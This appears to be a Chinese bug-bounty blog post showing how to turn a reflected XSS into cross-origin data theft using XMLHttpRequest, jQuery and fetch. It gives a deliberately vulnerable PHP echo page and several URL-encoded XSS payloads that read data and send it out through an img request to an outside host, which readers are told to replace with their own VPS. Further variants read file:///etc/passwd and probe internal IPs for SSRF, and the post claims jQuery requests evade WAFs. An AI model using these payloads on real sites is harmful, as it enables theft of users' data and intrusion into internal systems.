巧用javascript ajax,实现跨域请求外带,增大漏洞危害
今天聊聊javascript ajax发起请求,获取数据:
实在是漏洞挖掘中,经常会用到,学好javascript实在是太有用了
JS原生请求:
XMLHttpRequest（XHR）对象用于与服务器交互。通过 XMLHttpRequest 可以在不刷新页面的情况下请求特定 URL，获取数据。这允许网页在不影响用户操作的情况下，更新页面的局部内容。所以XMLHttpRequest对象是Ajax技术的核心所在。
借助xhr:
写个demo:
在我的vps上新建一个文本文件,内容是test:
通过xhr创建对象获取test数据:
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript"> //创建xmlHttp对象 xmlHttp = new XMLHttpRequest; //发起请求,设置false,代表非异步请求 xmlHttp.open('GET','http://119.45.227.86/test.txt',false) //发送get请求数据,所以默认是空 xmlHttp.send(); //打印输出获取到的数据 console.log(xmlHttp.responseText); </script> </body> </html>
直接本地运行,看看能否成功打印出test:
直接本地访问:
1.html:10 Access to XMLHttpRequest at 'http://119.45.227.86/test.txt' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
(anonymous) @ 1.html:10
查看console,发现直接报错,禁止我们跨越访问,那么这里的解决方案是什么?
服务端设置Access-Control-Allow-Origin为*号,但是这很显然不可能,在真正的实战环境下,Access-Control-Allow-Origin都是为定义的信任域名,我们把上面的代码放到我们的vps上然后运行:
http://119.45.227.86/ajax.html
结论:在信任域下我们可以通过发送请求获取敏感数据
假设网站设置Access-Control-Allow-Origin=*.example.com
那么我们可以怎么跨域获取?
(1)寻找反射xss
(2)寻找jsonp/cors劫持点
jsonp本身就是解决跨域问题的,那么本身就是存在漏洞的,敏感的jsonp接口,可以劫持敏感数据,我们以反射xss为例子:
自己写个demo:
<?php $x=$_GET['x']; echo $x;
非常简单的,没有任何检测输入和输出
假设http://119.45.227.86/xss_test.php?x=可控,存在xss漏洞,那么我们直接提交给src,就是低危,但是我们转换思路,xss本质就是执行js,我们构造js从而导致敏感接口数据劫持:
构造poc:
http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20console.log(xmlHttp.responseText);%3C/script%3E
这样我们就可以通过一个反射xss,跨域获取到敏感数据
关于数据外带,方法有很多,提一种:
利用img实现敏感数据数据外带:
修改poc:
http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20c%20=%20xmlHttp.responseText;%20i=document.createElement(%27img%27);%20i.src=%27http://baidu.com?c=%27%2bc;%20document.body.appendChild(i);%3C/script%3E
实际上script里面代码是:
<script type="text/javascript"> xmlHttp = new XMLHttpRequest; xmlHttp.open('GET','http://119.45.227.86/test.txt',false); xmlHttp.send(); c = xmlHttp.responseText; i=document.createElement('img'); i.src='http://baidu.com?c='+c; document.body.appendChild(i); </script>
http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20c%20=%20xmlHttp.responseText;%20i=document.createElement(%27img%27);%20i.src=%27http://baidu.com?c=%27%2bc;%20document.body.appendChild(i);%3C/script%3E
把baidu.com改成你的vps ip地址即可实现数据外带
那么你这个反射xss还是低危吗??深入利用漏洞一定是有用的
除了使用javascript原生发起请求外,还可以使用第三方库,如引用了Jquery库的站,可以使用$.ajax.$.get等:
代码如下:
$.get('http://example.com', function(responseText) {
alert(responseText);
});
jquery发起ajax请求的方法有很多种,这里一笔带过,使用ajax的好处就是有时候waf会拦截xhr对象,使用jquery ajax发起请求,可以无视waf拦截
使用ES6 Fetch函数发起请求,实现敏感数据获取:
写个demo:
<script> fetch("http://119.45.227.86/test.txt").then(response => response.text()).then(html=>console.log(html)); </script>
如果没设置Access-Control-Allow-Origin为*,那么本地访问:
直接报错:
去信任域上访问:http://119.45.227.86/fetch.html
假设网站设置Access-Control-Allow-Origin=*.example.com
那么我们可以可以通过xss获取网站敏感数据:
poc:
http://119.45.227.86/xss_test.php?x=%3Cscript%3Efetch(%22http://119.45.227.86/test.txt%22).then(response%20=%3E%20response.text()).then(html=%3Econsole.log(html));%3C/script%3E
成功获取到敏感数据test
fetch请求敏感数据外带:
fetch("http://119.45.227.86/test.txt").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');
把baidu.com换成自己的vps ip即可
扩大思维:
如果是客户端的客户端xss:
直接可以任意文件读取:
fetch("file:///etc/passwd").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');
ssrf:
fetch("http://内网ip").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');
算是抛砖引玉了